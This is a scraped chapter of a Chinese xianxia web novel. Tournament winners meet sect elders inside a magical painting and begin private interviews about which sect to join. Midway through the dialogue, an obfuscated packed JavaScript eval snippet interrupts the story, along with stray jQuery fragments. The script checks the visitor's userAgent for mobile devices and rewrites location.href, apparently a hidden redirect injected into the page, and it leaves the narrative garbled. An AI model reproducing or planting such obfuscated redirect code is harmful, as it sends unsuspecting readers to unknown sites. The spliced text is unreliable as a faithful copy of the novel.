九天玄卷六眼鲱鱼

105. 又惊春(四)

三人跟着那仙门弟子来到廊桥时,廊桥上空空如也,只剩春寒料峭的风打着卷吹了个人满怀——乔相宜立刻打了个喷嚏,回到现实的实感又加重了几分。


正在这时,一个熟悉的声音从廊桥的另一边传来:“唔,你们竟然都在这里?”


说话的人正是王思源。乔相宜见到她来,便有些心虚道:“嘿,王……女侠,好久不见。”


见乔相宜主动打招呼,王思源只好假装摆弄新衣服的裙边:“别跟我说话。我还记着仇呢。”


司徒善则皱了皱眉道:“怎么你也在这啊?我说了咱俩以后不要走一条道,该不会是你走错路了吧。”


“没走错。”王思源气不打一处来,“我是被邀请来的。”


“行了,肃静。人齐了就排队站好。”只见那领路的仙门弟子数了数人头,见无人再异议后便左瞧右望,上下拾辍,终于在廊桥中心的栏杆处挂上了一副……花鸟画。


那仙门弟子放下画便匆匆撤下了。随后,被迫排队站好的四人只看见他撂下的画中——“鸟儿”和“花儿”哆嗦了一下,随着清晨的风从画中“逃”了出来。


什么情况?花鸟画中的静物逃走了?


——空空如也的画布上传来了声音,换上了一副全新的人像图。


最先出现的是一张美人的画像,那美人身穿一件浅色的长衫,明眸皓齿,神态温柔缱绻,语气却玩味不驯:“怎么,大家都是老朋友了,还需要自我介绍吗?”


随后出现的是一个戴着龟甲面具的少年,这次他涨了教训,不再居高临下,而是向众人轻轻挥手示意,动作有些拘谨。


“项前辈,按照规矩来的话,我们是要再做一次自我介绍的。”龟甲少年对先前的美人说,“你们好,又见面了……咳,我是此次元京会武的主理人之一,四大仙门中幻海盟的代表,摩琅君。”


最后出现的人更熟悉了,便是今个儿太阳打西边出来,终于舍得换了件干净衣服、顺便修理了鸡窝头的曲晏清,只可惜那双死鱼眼还是不好“修理”,看起来没啥精神。再见到乔相宜四人,他连个“好”字也懒得说了,只点了点头:“白露谷,曲晏清。”


闻言,项真差点笑了出来,她也学着曲晏清的做派,像模像样地来了一句:“飞星剑派,项真。”


“你们……”摩琅君绷不住了:“咳,前辈,你们这样搞,会显得我有点呆。”


如果说“影”级干部是朔风门培养出的新生力量,那么在元京会武的危机中,四大仙门也派出了他们引以为傲的中坚力量——眼前几人正是其中的翘楚。在不久的将来,历史的记载中,将把此次元京会武中击退朔风门的四位仙门代表称为“仙门四菁”。当然,这些都是后话。


虽然事先知道这几位是仙门内门的前辈,但乔相宜四人初次见到他们正装出席,又是这样玄妙地同时出现在一副“画”中,心里不免新奇又紧张。


项真发觉了众人神色的微妙变化,立刻道:“不好意思,因我们几人都有要务在身,难得相聚,只好以这种形式跟大家见面了。不必紧张,你们有什么问题都可以直接问我们。”


“呃,我有问题。”乔相宜率先提问,“四大仙门……是不是还少了一个容音寺?”


“哎呀,被你发现了。”项真道,“容音寺确实派了代表来,按照规矩的话,她也应该到场和各位聊一聊,但那位脾气有些古怪,不喜欢像我们这样……略微寡淡地出场。估计,你们不久之后,在复试中会见到她吧。”


“复试?”乔相宜道,“前辈,恕我冒昧,难道我们现在不是正在‘复试’吗?”


“哎呀,果然还是瞒不过去啊。”项真赞许道,“如各位所见,今年元京会武凶险万分,惊动了西境的朔风门,在这场争斗中,仙门差点赔了夫人又折兵,多亏摩琅君及时开启苍龙阵法锁住灵轩,我才有机会趁虚而入,让他们吃点苦头。”


闻言,画中的摩琅君似乎低下了头。


项真:“但这比赛究竟是进行不下去了,且不说灵轩内外上下乱作一团,诸位的飞花帖也是毁的毁、丢的丢,原先的成绩自然不能作数。不过有一点需要提前言明,若没有你们的帮助,恐怕也不会那么顺利。我谨代表仙门向你们道谢,你们四个是飞花帖没有被毁、活到最后的人,因此便是此次元京会武的赢家。”


她话还没说完,王思源突然“啊”了一声:“赢家?是我想的那个意思吗?”


项真被她方才的行为逗笑了:“是啊,就是你想的那个意思。”


“既然是赢家,那么就有奖励。”项真继续道:“元京会武本就是筛选内门弟子的试炼,那么作为赢家的奖励是,你们每人可以自由指定一个仙门加入。在选择加入哪个门派前,也可以指定我们三个提问再做决定。这便是,今天要找你们单独谈话的缘由啦。”


语毕,四位年轻人表情各异。王思源有些受宠若惊;而司徒善似乎跃跃欲试、想说点什么。


乔相宜愣了一下,随后陷入了迷惘和沉思。他心想:难怪天没亮就将人叫醒了,原来竟然是单独谈话吗?


路千河的表情最没变化,他难得抬头看了项真一眼,又扫了乔相宜一眼,最后什么也没表示。


司徒善道:“仙……前辈,你的意思是,我们可以加入仙门——直接成为内门弟子?”


“当然。”项真想起和司徒善打过好几次戏剧性的照面,因此对他格外印象深刻,便随口玩笑道:“这位道友,看你的意思是……你已经有属意的门派了?”


“不……”司徒善道,“不是,我只是,随便问问。”


项真笑道:“行,要是你有什么问题,欢迎随时来问我。”


这时,曲晏清打断道:“这样七嘴八舌回答不会没完没了吗?还是按照原先说的,每个人单独‘入画’,轮流面叙吧。”


项真立刻道:“噢,是


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252318|156962||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


我方才唐突只顾自说自话了。曲师兄、摩琅君,你们有什么提前要交代的吗?”


曲晏清道:“我没什么要提前交代的。想问的人自然会自己来问。”


项真没吭声,只隔着画框向摩琅君递了个手势。


摩琅君道:“我也……嗯,项前辈方才交代的很清楚。不如,就直接开始吧。”


“好吧。”项真将目光转向画外四人,“那么,你们谁先来?”


“我先来吧。”乔相宜开口道。


项真:“行,那就从你开始吧。”


“画”上霎时出现三道金光。分别对应着摩琅君、曲晏清、项真三人所处的三个场景。


画中的声音继续道:“对了,一处心芥只能容纳一人。他进来后,另外两个心芥是空着的,你们可以商量着谁先去哪边,同时进行节约时间。另外,心芥存在的时间是有限的,在心芥消失前,我们三个人你们都可以提问,当然,也可以只选择你感兴趣的人提问——哎你愣着干什么?用手点一下呗。”


乔相宜顿了一下,随即对上了其中一道金光,立时,人被吸入了“画”中。


被吸进金光的乔相宜没晃过神,满眼看见一片白茫茫的冰凌中——这时,他才意识到这是一片冰封的湖面,而自己被传送到了一处湖心亭。


湖心亭里站着一个少年,正是摩琅君。


摩琅君道:“你来了。”


不知为何,这次再见到摩琅君,乔相宜总觉得他与上次的气质……有所不同。他似乎变得更加语重心长,连说出的话也变得小心翼翼。若不是乔相宜的降临惊动了湖面,摩琅君几乎要寡淡的与那湖心亭融为一景了。


乔相宜人还没站稳,便听到摩琅君继续道:“此处是仙门的信物‘心芥’——就是你们方才见到的那幅画主动创造的一处空间,既不是此处也不是彼处。当然,你也可以理解为,一种具有私密性的灵轩。不用紧张,他们应该也分别到了不同的心芥,这样我们可以同时进行面叙,而又互相不打搅彼此。”


灵轩的概念是容纳多人在同一虚拟空间,心芥——则是一种把身处不同地点的人临时汇聚、联络的空间,一般只有在仙门会议时才会启用。心芥不似灵轩内有固定的景观,由于是个临时的空间,它的内里空无一物——湖心亭的景色是摩琅君临时改造的。


乔相宜心道:听懂了,就是一个开了“包厢”的灵轩呗。


“其实,我没想到你会先来我这里。”摩琅君道,“你有什么要问我的问题吗?”


乔相宜道:“摩琅君,实不相瞒,我此次来元京会武,就没有打算去别的门派——我的目标只有幻海盟。”


摩琅君顿了一下:“是吗?我想,这其中一定有什么渊源。”


“的确有些渊源。不过在那之前,我想先问一些常规的问题。”乔相宜道,“摩琅君,我想问,在你眼中,幻海盟、或者说仙门,是个什么样的地方?”